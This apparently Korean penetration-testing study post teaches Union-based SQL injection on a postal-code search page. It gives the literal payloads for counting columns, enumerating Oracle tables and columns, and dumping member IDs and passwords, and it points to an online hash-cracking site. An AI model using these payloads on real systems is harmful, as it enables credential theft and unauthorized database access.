Union SQL Injection

SQL Injection이란?

[모의해킹] - SQL Injection 공격(Union, Error, Blind...)

 

SQL Injection 공격(Union, Error, Blind...)

SQL Injection Injection(삽입)은 외부 입력값을 내부처리에 사용하는 경우, 외부 입력값 처리를 조작하는 문자열 포함 여부를 확인하지 않고 사용하는 경우 또는 원래 의도했던 처리가 변경되어 수행

psjin230.tistory.com

 

SQL Injection은 외부 입력값에 쿼리 조작 문자열 포함 여부를 확인하지 않고 쿼리문 생성 및 실행에 사용하는 경우, 쿼리의 구조와 의미가 변경되어 실행되는 것을 뜻합니다. 권한 밖의 데이터에 접근이 가능하고, DBMS 시스템의 제어권을 탈취할 수 있으며, 쿼리를 통해 제공할 기능을 우회 또는 오용이 가능합니다.

종류 난이도 발생빈도 발생조건
Union SQL Injection 쉬움 보통 검색한 결과를 확인 가능한 페이지 존재시
Error Based SQL Injection 보통 보통 DB 에러가 출력되는 페이지 존재시
Blind SQL Injection 어려움 높음 SQL 쿼리에 변수가 있는 모든 페이지

 

Union SQL Injection

Union SQL Injection은 쿼리 결과가 페이지에 값으로 출력되는 곳에서 진행하는데, 대표적인 예로는 우편번호 검색 페이지가 있습니다.

** Union 연산자는 기존의 SELECT 쿼리에 추가로 SELECT 쿼리를 삽입하여 데이터를 얻어내는 형태로 2개 이상의 쿼리를 연결해주는 연산자입니다. 공격자는 Union 연산자를 사용하여 원래의 쿼리 결과에 추가적인 정보를 포함시킬 수 있습니다.

- 출력하는 컬럼 수가 동일해야 함

- 컬럼은 각 순서별로 동일한 데이터형식 이어야 함

 

(1) 테이블에 몇 개의 컬럼이 있는지 조회(컬럼 수 추출)

두개의 SELECT 쿼리 컬럼 수가 동일해야하므로, UNION 쿼리를 작성하기 전에 컬럼 개수를 확인해야합니다.

ORDER BY : 데이터 정렬, 컬럼 순서 값을 순차적으로 증가시켜 컬럼 개수를 확인

 

[입력] 대치동' or 'a'='a' order by 3 --

=> order by 1 또는 2 또는 3 인 경우, 아래 대치동 우편번호가 출력됨

=> 4번째 컬럼에 대해 정렬을 시도하면 컬럼 개수가 부족하여 에러발생

=> 즉, 컬럼 개수는 3개

 

(2) 데이터베이스 정보 중 테이블명 조회

[입력]  ' union select null, null, table_name from all_tables-- (★ 맨 앞에 공백있음)

=> 전체 테이블 목록 추출

=> 데이터 획득을 원하는 테이블을 선택 : TEST, LHSMOBILEMEMBER, LHSMEMBER3

 

(3) 테이블의 컬럼 정보 조회

(3)-1. TEST 테이블의 정보 조회

[입력]  ' union select null,column_name,table_name from all_tab_columns where table_name='TEST' -- 

(★ 맨 앞에 공백있음)

=> TEST 테이블의 컬럼은 ID, NUM, STR_NUM

 

(3)-2. LHSMOBILEMEMBER 테이블의 정보 조회

[입력]

 ' union select null,column_name,table_name from all_tab_columns where table_name='LHSMOBILEMEMBER' -- 

(★ 맨 앞에 공백있음)

=> LHSMOBILEMEMBER 테이블의 컬럼은 FAILCOUNT, ID, INITPW, MOBILEID, NAME, PW

 

(3)-3. LHSMEMBER3 테이블의 정보 조회

[입력]

 ' union select null,column_name,table_name from all_tab_columns where table_name='LHSMEMBER3' --

(★ 맨 앞에 공백있음)

 

(4) 컬럼 값 조회

(4)-1. TEST 테이블의 컬럼 값 조회

[입력]  ' union select NUM, ID, STR_NUM FROM TEST -- (★ 맨 앞에 공백있음)

 

(4)-2. LHSMOBILEMEMBER 테이블의 컬럼 값 조회

[입력]  ' union select NULL, ID, PW FROM LHSMOBILEMEMBER-- (★ 맨 앞에 공백있음)

[입력]  ' union select NULL, MOBILEID, NAME FROM LHSMOBILEMEMBER-- (★ 맨 앞에 공백있음)

 

(4)-3. LHSMEMBER3 테이블의 컬럼 값 조회

[입력]  ' union select NULL, ID, PW FROM LHSMEMBER3-- (★ 맨 앞에 공백있음)

 

(추가) 패스워드 크래킹

패스워드 크래킹 사이트 : https://crackstation.net/

 

CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.

Free Password Hash Cracker Enter up to 20 non-salted hashes, one per line: Supports: LM, NTLM, md2, md4, md5, md5(md5_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1(sha1_bin)), QubesV3.1BackupDefaults How Crack

crackstation.net

↓ ↓ 패스워드 크래킹 결과↓ ↓